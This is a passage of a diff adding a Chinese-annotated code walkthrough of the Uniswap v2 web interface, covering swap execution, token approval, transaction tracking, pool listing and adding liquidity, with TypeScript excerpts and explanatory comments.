+                  .then(result => {
+                    // 静态调用成功 抛出错误 建议重新调用
+                    console.debug('Unexpected successful call after failed estimate gas', call, gasError, result)
+                    return { call, error: new Error('Unexpected issue with estimating the gas. Please try again.') }
+                  })
+                  .catch(callError => {
+                    // 静态调用失败 抛出失败类型
+                    console.debug('Call threw error', call, callError)
+                    let errorMessage: string
+                    switch (callError.reason) {
+                      case 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT':
+                      case 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT':
+                        errorMessage =
+                          'This transaction will not succeed either due to price movement or fee on transfer. Try increasing your slippage tolerance.'
+                        break
+                      default:
+                        errorMessage = `The transaction cannot succeed due to error: ${callError.reason}. This is probably an issue with one of the tokens you are swapping.`
+                    }
+                    return { call, error: new Error(errorMessage) }
+                  })
+              })
+          })
+        )
+
+        // a successful estimation is a bignumber gas estimate and the next call is also a bignumber gas estimate
+        // 判断交易预执行是否成功
+        // 交易若执行成功会存在 gasEstimate 字段代表gas预估数值 bignumber类型
+        // 若成功 应至少存在一项满足条件
+        const successfulEstimation = estimatedCalls.find(
+          (el, ix, list): el is SuccessfulCall =>
+            'gasEstimate' in el && (ix === list.length - 1 || 'gasEstimate' in list[ix + 1])
+        )
+
+        // 若全部失败 抛出最后一个错误
+        if (!successfulEstimation) {
+          const errorCalls = estimatedCalls.filter((call): call is FailedCall => 'error' in call)
+          if (errorCalls.length > 0) throw errorCalls[errorCalls.length - 1].error
+          throw new Error('Unexpected error. Please contact support: none of the calls threw an error')
+        }
+
+        // 取出第一个预执行成功的交易 真实发送交易
+        const {
+          call: {
+            contract,
+            parameters: { methodName, args, value }
+          },
+          gasEstimate
+        } = successfulEstimation
+
+        return contract[methodName](...args, {
+          // gasLimit 设置为预计gas费用上浮 10%
+          gasLimit: calculateGasMargin(gasEstimate),
+          ...(value && !isZero(value) ? { value, from: account } : { from: account })
+        })
+          .then((response: any) => {
+            // 发送交易成功 生成交易概览
+            const inputSymbol = trade.inputAmount.currency.symbol
+            const outputSymbol = trade.outputAmount.currency.symbol
+            const inputAmount = trade.inputAmount.toSignificant(3)
+            const outputAmount = trade.outputAmount.toSignificant(3)
+
+            const base = `Swap ${inputAmount} ${inputSymbol} for ${outputAmount} ${outputSymbol}`
+            const withRecipient =
+              recipient === account
+                ? base
+                : `${base} to ${
+                    recipientAddressOrName && isAddress(recipientAddressOrName)
+                      ? shortenAddress(recipientAddressOrName)
+                      : recipientAddressOrName
+                  }`
+
+            const withVersion =
+              tradeVersion === Version.v2 ? withRecipient : `${withRecipient} on ${(tradeVersion as any).toUpperCase()}`
+
+            // 将交易相关信息推入 transaction state
+            addTransaction(response, {
+              summary: withVersion
+            })
+
+            // 返回交易hash
+            return response.hash
+          })
+          .catch((error: any) => {
+            // if the user rejected the tx, pass this along
+            // 如果用户拒绝了交易, 返回这项自定义报错
+            if (error?.code === 4001) {
+              throw new Error('Transaction rejected.')
+            } else {
+              // otherwise, the error was unexpected and we need to convey that
+              // 否则, 我们应当如实返回这个意外错误
+              console.error(`Swap failed`, error, methodName, args, value)
+              throw new Error(`Swap failed: ${error.message}`)
+            }
+          })
+      },
+      error: null
+    }
+  }, [trade, library, account, chainId, recipient, recipientAddressOrName, swapCalls, addTransaction])
+}
+```
+
+### useSwapCallArguments
+
+解析交易对生成用于调用router合约的方法名和参数
+
+```ts
+// src/hooks/useSwapCallback.ts
+
+/**
+ * Returns the swap calls that can be used to make the trade
+ * @param trade trade to execute
+ * @param allowedSlippage user allowed slippage
+ * @param recipientAddressOrName
+ */
+function useSwapCallArguments(
+  trade: Trade | undefined, // trade to execute, required
+  allowedSlippage: number = INITIAL_ALLOWED_SLIPPAGE, // in bips
+  recipientAddressOrName: string | null // the ENS name or address of the recipient of the trade, or null if swap should be returned to sender
+): SwapCall[] {
+  const { account, chainId, library } = useActiveWeb3React()
+
+  const { address: recipientAddress } = useENS(recipientAddressOrName)
+  const recipient = recipientAddressOrName === null ? account : recipientAddress
+  const deadline = useTransactionDeadline()
+
+  const v1Exchange = useV1ExchangeContract(useV1TradeExchangeAddress(trade), true)
+
+  return useMemo(() => {
+    const tradeVersion = getTradeVersion(trade)
+    if (!trade || !recipient || !library || !account || !tradeVersion || !chainId || !deadline) return []
+
+    const contract: Contract | null =
+      tradeVersion === Version.v2 ? getRouterContract(chainId, library, account) : v1Exchange
+    if (!contract) {
+      return []
+    }
+
+    // 遍历交易路径 将调用方法名称和参数存入数组
+    const swapMethods = []
+
+    // 区分v2和v1
+    switch (tradeVersion) {
+      case Version.v2:
+        swapMethods.push(
+          // @uniswap/v2-sdk/Router
+          // 返回调用router合约的 methodName, args, value(eth)
+          Router.swapCallParameters(trade, {
+            feeOnTransfer: false,
+            allowedSlippage: new Percent(JSBI.BigInt(allowedSlippage), BIPS_BASE),
+            recipient,
+            deadline: deadline.toNumber()
+          })
+        )
+
+        if (trade.tradeType === TradeType.EXACT_INPUT) {
+          swapMethods.push(
+            Router.swapCallParameters(trade, {
+              feeOnTransfer: true,
+              allowedSlippage: new Percent(JSBI.BigInt(allowedSlippage), BIPS_BASE),
+              recipient,
+              deadline: deadline.toNumber()
+            })
+          )
+        }
+        break
+      case Version.v1:
+        swapMethods.push(
+          v1SwapArguments(trade, {
+            allowedSlippage: new Percent(JSBI.BigInt(allowedSlippage), BIPS_BASE),
+            recipient,
+            deadline: deadline.toNumber()
+          })
+        )
+        break
+    }
+    return swapMethods.map(parameters => ({ parameters, contract }))
+  }, [account, allowedSlippage, chainId, deadline, library, recipient, trade, v1Exchange])
+}
+
+```
+
+## Approve
+
+### useApproveCallback
+
+返回当前token对于router合约的approve状态，和向token合约发起approve授权的方法<br>
+
+```ts
+// approve 状态 :
+// UNKNOWN 未知
+// NOT_APPROVED 还未被授权
+// PENDING 获取授权中
+// APPROVED 已授权
+export enum ApprovalState {
+  UNKNOWN,
+  NOT_APPROVED,
+  PENDING,
+  APPROVED
+}
+```
+
+```ts
+// src/hooks/useApproveCallback.ts
+// returns a variable indicating the state of the approval and a function which approves if necessary or early returns
+export function useApproveCallback(
+  amountToApprove?: CurrencyAmount,
+  spender?: string
+): [ApprovalState, () => Promise<void>] {
+  const { account } = useActiveWeb3React()
+  const token = amountToApprove instanceof TokenAmount ? amountToApprove.token : undefined
+
+  // useTokenAllowance会发起一个 multicall 调用，查询token对于router合约的allowance
+  const currentAllowance = useTokenAllowance(token, account ?? undefined, spender)
+  // 判断该token是否已有pending状态的授权交易 (之前已发送过approve)
+  // 具体方法是在 transaction state 内部筛选符合条件的交易记录
+  // 1. 没有reciept，即交易还在进行中 (pending)
+  // 2. 记录有 approval 属性 且 spender, token 符合
+  const pendingApproval = useHasPendingApproval(token?.address, spender)
+
+  // check the current approval status
+  // 检查allowance 数量，返回approval状态
+  // 1. pending 2. not approved 3. approved
+  const approvalState: ApprovalState = useMemo(() => {
+    if (!amountToApprove || !spender) return ApprovalState.UNKNOWN
+    if (amountToApprove.currency === ETHER) return ApprovalState.APPROVED
+    // we might not have enough data to know whether or not we need to approve
+    // 当我们可能没有足够的信息来确认当前token是否需要我们调用授权
+    if (!currentAllowance) return ApprovalState.UNKNOWN
+
+    // amountToApprove will be defined if currentAllowance is
+    // 如果当前操作的token的数量小于已授权的token数量, 直接返回已授权状态
+    // 否则需要另外授权, 根据 pendingApproval 来确定是否在获取授权的状态中
+    return currentAllowance.lessThan(amountToApprove)
+      ? pendingApproval
+        ? ApprovalState.PENDING
+        : ApprovalState.NOT_APPROVED
+      : ApprovalState.APPROVED
+  }, [amountToApprove, currentAllowance, pendingApproval, spender])
+
+  // 根据当前的token地址, 获取对应的合约实例
+  const tokenContract = useTokenContract(token?.address)
+  const addTransaction = useTransactionAdder()
+
+  // 生成approve授权方法
+  const approve = useCallback(async (): Promise<void> => {
+    // 检查是否成功授权当前token
+    if (approvalState !== ApprovalState.NOT_APPROVED) {
+      console.error('approve was called unnecessarily')
+      return
+    }
+    // 检查token是否存在
+    if (!token) {
+      console.error('no token')
+      return
+    }
+
+    // 检查token对应的合约
+    if (!tokenContract) {
+      console.error('tokenContract is null')
+      return
+    }
+
+    // 检查授权的数量是否已经设定
+    if (!amountToApprove) {
+      console.error('missing amount to approve')
+      return
+    }
+
+    // 检查spender是否存在
+    if (!spender) {
+      console.error('no spender')
+      return
+    }
+
+    // 是否精确授权数量 默认最大数量授权
+    let useExact = false
+    // 先预执行最大数量授权 如果失败尝试精确数量的授权
+    const estimatedGas = await tokenContract.estimateGas.approve(spender, MaxUint256).catch(() => {
+      // general fallback for tokens who restrict approval amounts
+      useExact = true
+      return tokenContract.estimateGas.approve(spender, amountToApprove.raw.toString())
+    })
+
+    // 实际发送交易
+    return tokenContract
+      .approve(spender, useExact ? amountToApprove.raw.toString() : MaxUint256, {
+        gasLimit: calculateGasMargin(estimatedGas)  //  gasLimit 为预估数量上浮10%
+      })
+      .then((response: TransactionResponse) => {
+        // 若发送交易成功 添加 transaction state
+        addTransaction(response, {
+          summary: 'Approve ' + amountToApprove.currency.symbol,
+          approval: { tokenAddress: token.address, spender: spender }
+        })
+      })
+      .catch((error: Error) => {
+        console.debug('Failed to approve token', error)
+        throw error
+      })
+  }, [approvalState, token, tokenContract, amountToApprove, spender, addTransaction])
+
+  return [approvalState, approve]
+}
+```
+
+## Transaction
+
+### TransactionReducer
+
+Transaction State 的更新逻辑
+
+```ts
+// src/state/transactions/reducer.ts
+
+export const initialState: TransactionState = {}
+
+export default createReducer(initialState, builder =>
+  builder
+    .addCase(addTransaction, (transactions, { payload: { chainId, from, hash, approval, summary, claim } }) => {
+      // 校验添加的新交易记录是否已存在
+      if (transactions[chainId]?.[hash]) {
+        throw Error('Attempted to add existing transaction.')
+      }
+      const txs = transactions[chainId] ?? {}
+      txs[hash] = { hash, approval, summary, claim, from, addedTime: now() }
+      transactions[chainId] = txs
+    })
+    .addCase(clearAllTransactions, (transactions, { payload: { chainId } }) => {
+      // 清空所有交易记录
+      if (!transactions[chainId]) return
+      transactions[chainId] = {}
+    })
+    .addCase(checkedTransaction, (transactions, { payload: { chainId, hash, blockNumber } }) => {
+      // 检查交易状态的变化
+      const tx = transactions[chainId]?.[hash]
+      if (!tx) {
+        return
+      }
+      // 更新 lastCheckedBlockNumber 字段
+      // 如果 lastCheckedBlockNumber 不存在, 将以 blockNumber 作为值
+      // 否则比较 blockNumber 与 lastCheckedBlockNumber, 以大的那个作为值
+      if (!tx.lastCheckedBlockNumber) {
+        tx.lastCheckedBlockNumber = blockNumber
+      } else {
+        tx.lastCheckedBlockNumber = Math.max(blockNumber, tx.lastCheckedBlockNumber)
+      }
+    })
+    .addCase(finalizeTransaction, (transactions, { payload: { hash, chainId, receipt } }) => {
+      // 交易确认事件
+      const tx = transactions[chainId]?.[hash]
+      if (!tx) {
+        return
+      }
+      // 为记录添加交易返回数据 和 确认时间戳
+      tx.receipt = receipt
+      tx.confirmedTime = now()
+    })
+)
+```
+
+### userTransactionAdder
+
+添加新的交易记录 (hook)
+
+```ts
+// src/state/transactions/hooks.tsx
+
+// helper that can take a ethers library transaction response and add it to the list of transactions
+export function useTransactionAdder(): (
+  response: TransactionResponse,
+  customData?: { summary?: string; approval?: { tokenAddress: string; spender: string }; claim?: { recipient: string } }
+) => void {
+  const { chainId, account } = useActiveWeb3React()
+  const dispatch = useDispatch<AppDispatch>()
+
+  // 除了交易本身的信息，额外添加了交易概览，approval授权结果，claim空头字段
+  return useCallback(
+    (
+      response: TransactionResponse,
+      {
+        summary,
+        approval,
+        claim
+      }: { summary?: string; claim?: { recipient: string }; approval?: { tokenAddress: string; spender: string } } = {}
+    ) => {
+      if (!account) return
+      if (!chainId) return
+
+      const { hash } = response
+      if (!hash) {
+        throw Error('No transaction hash found.')
+      }
+      dispatch(addTransaction({ hash, from: account, chainId, approval, summary, claim }))
+    },
+    [dispatch, chainId, account]
+  )
+}
+```
+
+### TransactionUpdater
+
+监听最近的交易历史，更新交易 state 与 UI
+
+```ts
+// src/state/transactions/updater.tsx
+export default function Updater(): null {
+  const { chainId, library } = useActiveWeb3React()
+
+  // 获取最新的区块高度
+  const lastBlockNumber = useBlockNumber()
+
+  const dispatch = useDispatch<AppDispatch>()
+  const state = useSelector<AppState, AppState['transactions']>(state => state.transactions)
+
+  const transactions = chainId ? state[chainId] ?? {} : {}
+
+  // 显示交易确认弹窗的方法
+  const addPopup = useAddPopup()
+
+  // 利用 useEffect 机制监听，一旦有依赖参数变化，触发 useEffect 方法更新交易记录
+  useEffect(() => {
+    if (!chainId || !library || !lastBlockNumber) return
+
+    // 从所有记录中筛选出需要检查的记录
+    // 详细筛选逻辑参见 shouldCheck
+    Object.keys(transactions)
+      .filter(hash => shouldCheck(lastBlockNumber, transactions[hash]))
+      .forEach(hash => {
+        // 遍历请求交易状态
+        library
+          .getTransactionReceipt(hash)
+          .then(receipt => {
+            // 如果得到交易结果 触发 finalizeTransaction 事件，修改交易状态为完成
+            if (receipt) {
+              dispatch(
+                finalizeTransaction({
+                  chainId,
+                  hash,
+                  receipt: {
+                    blockHash: receipt.blockHash,
+                    blockNumber: receipt.blockNumber,
+                    contractAddress: receipt.contractAddress,
+                    from: receipt.from,
+                    status: receipt.status,
+                    to: receipt.to,
+                    transactionHash: receipt.transactionHash,
+                    transactionIndex: receipt.transactionIndex
+                  }
+                })
+              )
+
+              // 显示交易已确认的提示窗口
+              addPopup(
+                {
+                  txn: {
+                    hash,
+                    success: receipt.status === 1,
+                    summary: transactions[hash]?.summary
+                  }
+                },
+                hash
+              )
+            } else {
+              // 交易还没有结果，发送 checkedTransaction 事件继续监听
+              dispatch(checkedTransaction({ chainId, hash, blockNumber: lastBlockNumber }))
+            }
+          })
+          .catch(error => {
+            console.error(`failed to check transaction hash: ${hash}`, error)
+          })
+      })
+  }, [
+    // 会在以下状态发生变化时，再次执行上述交易监听请求
+    // 其中，导致更新最多的是 lastBlockNumber
+    chainId,  // 当前 Chain ID
+    library,  // web3 provider
+    transactions,  // 交易记录
+    lastBlockNumber,  // 最新区块
+    dispatch,  // dispatch 函数
+    addPopup  // 添加弹窗函数
+  ])
+
+  return null
+}
+```
+
+### shouldCheck
+
+判断当前交易记录是否需要监听的方法
+
+```ts
+// src/state/transactions/updater.tsx
+export function shouldCheck(
+  lastBlockNumber: number,
+  tx: { addedTime: number; receipt?: {}; lastCheckedBlockNumber?: number }
+): boolean {
+  // 排除已完成的交易
+  if (tx.receipt) return false
+  // 没有lastCheckedBlockNumber字段表示该交易刚刚发送，还没有监听过
+  if (!tx.lastCheckedBlockNumber) return true
+  // 排除距离上次检查间隔小于一个区块的记录
+  const blocksSinceCheck = lastBlockNumber - tx.lastCheckedBlockNumber
+  if (blocksSinceCheck < 1) return false
+  // 处于pending状态多少分钟
+  const minutesPending = (new Date().getTime() - tx.addedTime) / 1000 / 60
+  if (minutesPending > 60) {
+    // every 10 blocks if pending for longer than an hour
+    // 对于pending 超过60分钟的记录，只监听区块距离现在超过9的记录(防止积累太多)
+    return blocksSinceCheck > 9
+  } else if (minutesPending > 5) {
+    // every 3 blocks if pending more than 5 minutes
+    // pending 5分钟 区块距离大于2
+    return blocksSinceCheck > 2
+  } else {
+    // otherwise every block
+    // pending 小于5分钟的所有记录
+    return true
+  }
+}
+```
+
+## PoolList
+
+追踪用户的Pool信息
+
+### useTrackedTokenPairs
+
+返回用户关心token的相关Pool列表
+
+```ts
+// src/state/user/hooks.tsx
+
+/**
+ * Returns all the pairs of tokens that are tracked by the user for the current chain ID.
+ */
+export function useTrackedTokenPairs(): [Token, Token][] {
+  const { chainId } = useActiveWeb3React()
+  // 所有处于激活状态的token (界面中的token列表)
+  const tokens = useAllTokens()
+
+  // pinned pairs
+  // 获取置顶的交易对
+  // 只有主网有置顶交易对 ： [cDAI, cUSDC], [USDC, USDT], [DAI, USDT]
+  const pinnedPairs = useMemo(() => (chainId ? PINNED_PAIRS[chainId] ?? [] : []), [chainId])
+
+  // pairs for every token against every base
+  // 根据base token 和所有token配对
+  // BASES_TO_TRACK_LIQUIDITY_FOR
+  //    WETH
+  //    主网：WETH, DAI, USDC, USDT, WBTC
+  const generatedPairs: [Token, Token][] = useMemo(
+    () =>
+      chainId
+        ? flatMap(Object.keys(tokens), tokenAddress => {
+            const token = tokens[tokenAddress]
+            // for each token on the current chain,
+            // 遍历当前链上的 token
+            return (
+              // loop though all bases on the current chain
+              // 循环遍历当前链上的所有基础 token
+              (BASES_TO_TRACK_LIQUIDITY_FOR[chainId] ?? [])
+                // to construct pairs of the given token with each base
+                // 通过基础 token 和给定的 token 构建交易对
+                .map(base => {
+                  if (base.address === token.address) {
+                    return null
+                  } else {
+                    return [base, token]
+                  }
+                })
+                .filter((p): p is [Token, Token] => p !== null)
+            )
+          })
+        : [],
+    [tokens, chainId]
+  )
+
+  // pairs saved by users
+  // 从user state 中取出用户自定义的pair
+  const savedSerializedPairs = useSelector<AppState, AppState['user']['pairs']>(({ user: { pairs } }) => pairs)
+
+  // 自定义pair匹配当前网络
+  const userPairs: [Token, Token][] = useMemo(() => {
+    if (!chainId || !savedSerializedPairs) return []
+    const forChain = savedSerializedPairs[chainId]
+    if (!forChain) return []
+
+    return Object.keys(forChain).map(pairId => {
+      return [deserializeToken(forChain[pairId].token0), deserializeToken(forChain[pairId].token1)]
+    })
+  }, [savedSerializedPairs, chainId])
+
+  // 拼接遍历的列表 基于basetoken的交易对 + 置顶的交易对 + 用户自定义的pair
+  const combinedList = useMemo(() => userPairs.concat(generatedPairs).concat(pinnedPairs), [
+    generatedPairs,
+    pinnedPairs,
+    userPairs
+  ])
+
+  return useMemo(() => {
+    // dedupes pairs of tokens in the combined list
+    // 最后对列表进行去重 统一将token地址升序排列
+    const keyed = combinedList.reduce<{ [key: string]: [Token, Token] }>((memo, [tokenA, tokenB]) => {
+      const sorted = tokenA.sortsBefore(tokenB)
+      const key = sorted ? `${tokenA.address}:${tokenB.address}` : `${tokenB.address}:${tokenA.address}`
+      if (memo[key]) return memo
+      memo[key] = sorted ? [tokenA, tokenB] : [tokenB, tokenA]
+      return memo
+    }, {})
+    console.log(Object.keys(keyed).map(key => keyed[key]))
+
+    return Object.keys(keyed).map(key => keyed[key])
+  }, [combinedList])
+}
+
+```
+
+## AddLiquidity
+
+添加流动性/创建流动性池子
+
+### MintReducer
+
+更新Mint state的方法
+
+```ts
+// src/state/mint/reducer.ts
+export default createReducer<MintState>(initialState, builder =>
+  builder
+    // 重置Mint state
+    .addCase(resetMintState, () => initialState)
+    .addCase(typeInput, (state, { payload: { field, typedValue, noLiquidity } }) => {
+      // noLiquidity 为true代表创建新池子
+      // 创建新的池子不需要自动计算另一边的数量，不用清空另一个输入框
+      if (noLiquidity) {
+        // they're typing into the field they've last typed in
+        // 记录用户最近操作的输入框类型以及输入的值
+        if (field === state.independentField) {
+          return {
+            ...state,
+            independentField: field,
+            typedValue
+          }
+        }
+        // they're typing into a new field, store the other value
+        // 如果用户操作了一个新的输入框, 将之前输入的值另外保存备份
+        else {
+          return {
+            ...state,
+            independentField: field,
+            typedValue,
+            otherTypedValue: state.typedValue
+          }
+        }
+      } else {
+        // 向已有池子添加流动性，另一个输入框需要自动计算数量，所以需要清空
+        return {
+          ...state,
+          independentField: field,
+          typedValue,
+          otherTypedValue: ''
+        }
+      }
+    })
+)
+```
+
+### useDerivedMintInfo
+
+根据用户的输入数据，返回预估添加流动性的数据：
+
+- dependentField 自动计算另一侧需要的token数量
+- currencies 两个token对象
+- pair 流动性池子对象
+- pairState 池子状态
+- currencyBalances 用户在两个token上的余额
+- parsedAmounts 解析后的数量数值
+- price 当前交易价格
+- noLiquidity 池子是否流动性为0
+- liquidityMinted 预计用户能得到的流动性数量
+- poolTokenPercentage 预计本次添加占总流动性的百分比
+- error 报错信息
+
+```ts
+// src/state/mint/hooks.ts
+export function useDerivedMintInfo(
+  currencyA: Currency | undefined,
+  currencyB: Currency | undefined
+): {
+  dependentField: Field
+  currencies: { [field in Field]?: Currency }
+  pair?: Pair | null
+  pairState: PairState
+  currencyBalances: { [field in Field]?: CurrencyAmount }
+  parsedAmounts: { [field in Field]?: CurrencyAmount }
+  price?: Price
+  noLiquidity?: boolean
+  liquidityMinted?: TokenAmount
+  poolTokenPercentage?: Percent
+  error?: string
+} {
+  const { account, chainId } = useActiveWeb3React()
+
+  // 从 Mint state 获取用户的输入数据
+  // independentField 代表用户最新键入的输入框 tokenA/tokenB
+  const { independentField, typedValue, otherTypedValue } = useMintState()
+
+  // dependentField 依赖用户输入数值来计算的输入框 tokenA/tokenB
+  const dependentField = independentField === Field.CURRENCY_A ? Field.CURRENCY_B : Field.CURRENCY_A
+
+  // tokens
+  const currencies: { [field in Field]?: Currency } = useMemo(
+    () => ({
+      [Field.CURRENCY_A]: currencyA ?? undefined,
+      [Field.CURRENCY_B]: currencyB ?? undefined
+    }),
+    [currencyA, currencyB]
+  )
+
+  // pair
+  // 调用 @uniswap/sdk/Pair 来获取池子的对象
+  const [pairState, pair] = usePair(currencies[Field.CURRENCY_A], currencies[Field.CURRENCY_B])
+  // 将池子合约作为ERC20 token 来查询totalSupply
+  const totalSupply = useTotalSupply(pair?.liquidityToken)
+
+  // 池子流动性是否为0 池子不存在或流动性为0
+  const noLiquidity: boolean =
+    pairState === PairState.NOT_EXISTS || Boolean(totalSupply && JSBI.equal(totalSupply.raw, ZERO))
+
+  // balances
+  // 获取当前选中的token的用户余额
+  const balances = useCurrencyBalances(account ?? undefined, [
+    currencies[Field.CURRENCY_A],
+    currencies[Field.CURRENCY_B]
+  ])
+  const currencyBalances: { [field in Field]?: CurrencyAmount } = {
+    [Field.CURRENCY_A]: balances[0],
+    [Field.CURRENCY_B]: balances[1]
+  }
+
+  // amounts
+  // 用户键入的数量
+  const independentAmount: CurrencyAmount | undefined = tryParseAmount(typedValue, currencies[independentField])
+  // 自动计算另一侧数量
+  const dependentAmount: CurrencyAmount | undefined = useMemo(() => {
+    if (noLiquidity) {
+      // 当前池子不存在或流动性为0 不需要自动计算，由用户手动输入
+      if (otherTypedValue && currencies[dependentField]) {
+        return tryParseAmount(otherTypedValue, currencies[dependentField])
+      }
+      return undefined
+    } else if (independentAmount) {
+      // we wrap the currencies just to get the price in terms of the other token
+      // 这里会用 @uniswap/v2-sdk/TokenAmount 类型包装输入数值
+      const wrappedIndependentAmount = wrappedCurrencyAmount(independentAmount, chainId)
+      const [tokenA, tokenB] = [wrappedCurrency(currencyA, chainId), wrappedCurrency(currencyB, chainId)]
+      if (tokenA && tokenB && wrappedIndependentAmount && pair) {
+        // 判断需要计算的是tokenA还是tokenB
+        const dependentCurrency = dependentField === Field.CURRENCY_B ? currencyB : currencyA
+        // 调用sdk计算数值
+        // pair是 @uniswap/v2-sdk/Pair 类型
+        // sdk会本地计算 price * independentAmount
+        const dependentTokenAmount =
+          dependentField === Field.CURRENCY_B
+            ? pair.priceOf(tokenA).quote(wrappedIndependentAmount)
+            : pair.priceOf(tokenB).quote(wrappedIndependentAmount)
+        return dependentCurrency === ETHER ? CurrencyAmount.ether(dependentTokenAmount.raw) : dependentTokenAmount
+      }
+      return undefined
+    } else {
+      return undefined
+    }
+  }, [noLiquidity, otherTypedValue, currencies, dependentField, independentAmount, currencyA, chainId, currencyB, pair])
+  const parsedAmounts: { [field in Field]: CurrencyAmount | undefined } = {
+    [Field.CURRENCY_A]: independentField === Field.CURRENCY_A ? independentAmount : dependentAmount,
+    [Field.CURRENCY_B]: independentField === Field.CURRENCY_A ? dependentAmount : independentAmount
+  }
+
+  // 计算当前池子的价格
+  const price = useMemo(() => {
+    // 没有流动性按照用户输入的比例作为价格
+    if (noLiquidity) {
+      const { [Field.CURRENCY_A]: currencyAAmount, [Field.CURRENCY_B]: currencyBAmount } = parsedAmounts
+      if (currencyAAmount && currencyBAmount) {
+        return new Price(currencyAAmount.currency, currencyBAmount.currency, currencyAAmount.raw, currencyBAmount.raw)
+      }
+      return undefined
+    } else {
+      // 已有流动性则调用sdk
+      // @uniswap/v2-sdk/Pair.priceOf()
+      const wrappedCurrencyA = wrappedCurrency(currencyA, chainId)
+      return pair && wrappedCurrencyA ? pair.priceOf(wrappedCurrencyA) : undefined
+    }
+  }, [chainId, currencyA, noLiquidity, pair, parsedAmounts])
+
+  // liquidity minted
+  // 预估用户可以得到的流动性数量
+  const liquidityMinted = useMemo(() => {
+    const { [Field.CURRENCY_A]: currencyAAmount, [Field.CURRENCY_B]: currencyBAmount } = parsedAmounts
+    const [tokenAmountA, tokenAmountB] = [
+      wrappedCurrencyAmount(currencyAAmount, chainId),
+      wrappedCurrencyAmount(currencyBAmount, chainId)
+    ]
+    if (pair && totalSupply && tokenAmountA && tokenAmountB) {
+      // @uniswap/v2-sdk/Pair.getLiquidityMinted()
+      // 本地计算用户预计能够得到的流动性数量
+      // 将两种token数量分别带入公式计算，取最小值
+      // tokenAmount / totalAmount * totalLiquidity
+      // 如果是新建池子则 tokenAmountA * tokenAmountB - MINIMUM_LIQUIDITY
+      return pair.getLiquidityMinted(totalSupply, tokenAmountA, tokenAmountB)
+    } else {
+      return undefined
+    }
+  }, [parsedAmounts, chainId, pair, totalSupply])
+
+  // 预估本地添加占池子总流动性的百分比
+  const poolTokenPercentage = useMemo(() => {
+    if (liquidityMinted && totalSupply) {
+      return new Percent(liquidityMinted.raw, totalSupply.add(liquidityMinted).raw)
+    } else {
+      return undefined
+    }
+  }, [liquidityMinted, totalSupply])
+
+  let error: string | undefined
+  if (!account) {
+    error = 'Connect Wallet'
+  }
+
+  if (pairState === PairState.INVALID) {
+    error = error ?? 'Invalid pair'
+  }
+
+  if (!parsedAmounts[Field.CURRENCY_A] || !parsedAmounts[Field.CURRENCY_B]) {
+    error = error ?? 'Enter an amount'
+  }
+
+  const { [Field.CURRENCY_A]: currencyAAmount, [Field.CURRENCY_B]: currencyBAmount } = parsedAmounts
+
+  if (currencyAAmount && currencyBalances?.[Field.CURRENCY_A]?.lessThan(currencyAAmount)) {
+    error = 'Insufficient ' + currencies[Field.CURRENCY_A]?.symbol + ' balance'
+  }
+
+  if (currencyBAmount && currencyBalances?.[Field.CURRENCY_B]?.lessThan(currencyBAmount)) {
+    error = 'Insufficient ' + currencies[Field.CURRENCY_B]?.symbol + ' balance'
+  }
+
+  return {
+    dependentField,
+    currencies,
+    pair,
+    pairState,
+    currencyBalances,
+    parsedAmounts,
+    price,
+    noLiquidity,
+    liquidityMinted,
+    poolTokenPercentage,
+    error
+  }
+}
+```
+
+### onAdd
+
+确认添加流动性，先预执行再真实发送交易
+
+```ts
+// src/pages/AddLiquidity/index.tsx
+async function onAdd() {
+  if (!chainId || !library || !account) return
+  // 获取一个router合约对象 IUniswapV2Router02ABI
+  const router = getRouterContract(chainId, library, account)
+
+  // 检查数量
+  const { [Field.CURRENCY_A]: parsedAmountA, [Field.CURRENCY_B]: parsedAmountB } = parsedAmounts
+  if (!parsedAmountA || !parsedAmountB || !currencyA || !currencyB || !deadline) {
+    return
+  }
+
+  // 根据滑点百分比计算最小添加的数量
+  const amountsMin = {
+    [Field.CURRENCY_A]: calculateSlippageAmount(parsedAmountA, noLiquidity ? 0 : allowedSlippage)[0],
+    [Field.CURRENCY_B]: calculateSlippageAmount(parsedAmountB, noLiquidity ? 0 : allowedSlippage)[0]
+  }
+
+  let estimate,
+    method: (...args: any) => Promise<TransactionResponse>,
+    args: Array<string | string[] | number>,
+    value: BigNumber | null
+  if (currencyA === ETHER || currencyB === ETHER) {
+    // 当其中一种token是ETH 调用router合约的 addLiquidityETH
+    const tokenBIsETH = currencyB === ETHER
+    estimate = router.estimateGas.addLiquidityETH
+    method = router.addLiquidityETH
+    // 根据ETH的位置调整入参
+    args = [
+      wrappedCurrency(tokenBIsETH ? currencyA : currencyB, chainId)?.address ?? '', // token
+      (tokenBIsETH ? parsedAmountA : parsedAmountB).raw.toString(), // 期望的 token 数量
+      amountsMin[tokenBIsETH ? Field.CURRENCY_A : Field.CURRENCY_B].toString(), // 最少的 token 获取数
+      amountsMin[tokenBIsETH ? Field.CURRENCY_B : Field.CURRENCY_A].toString(), // 最少的 eth 数量
+      account,
+      deadline.toHexString()
+    ]
+    // ETH 发送的数量
+    value = BigNumber.from((tokenBIsETH ? parsedAmountB : parsedAmountA).raw.toString())
+  } else {
+    // 没有ETH 调用router合约的 addLiquidity
+    estimate = router.estimateGas.addLiquidity
+    method = router.addLiquidity
+    args = [
+      wrappedCurrency(currencyA, chainId)?.address ?? '',
+      wrappedCurrency(currencyB, chainId)?.address ?? '',
+      parsedAmountA.raw.toString(),
+      parsedAmountB.raw.toString(),
+      amountsMin[Field.CURRENCY_A].toString(),
+      amountsMin[Field.CURRENCY_B].toString(),
+      account,
+      deadline.toHexString()
+    ]
+    // 不用发送ETH
+    value = null
+  }
+
+  // 打开交易执行中的提示弹窗
+  setAttemptingTxn(true)
+  // 交易预执行
+  await estimate(...args, value ? { value } : {})
+    .then(estimatedGasLimit =>
+      // 返回真实发送交易的方法
+      method(...args, {
+        ...(value ? { value } : {}),  // 若有ETH放在这里
+        gasLimit: calculateGasMargin(estimatedGasLimit) //  根据预执行预估的gas费用上浮10%
+      }).then(response => {
+        // 发送交易成功后关闭提示弹窗
+        setAttemptingTxn(false)
+
+        // 将交易记录推入 Transaction state
+        addTransaction(response, {
+          summary:
+            'Add ' +
+            parsedAmounts[Field.CURRENCY_A]?.toSignificant(3) +
+            ' ' +
+            currencies[Field.CURRENCY_A]?.symbol +
+            ' and ' +
+            parsedAmounts[Field.CURRENCY_B]?.toSignificant(3) +
+            ' ' +
+            currencies[Field.CURRENCY_B]?.symbol
+        })
+
+        // 保存交易哈希值
+        setTxHash(response.hash)
+
+        // 谷歌分析的插件
+        ReactGA.event({
+          category: 'Liquidity',
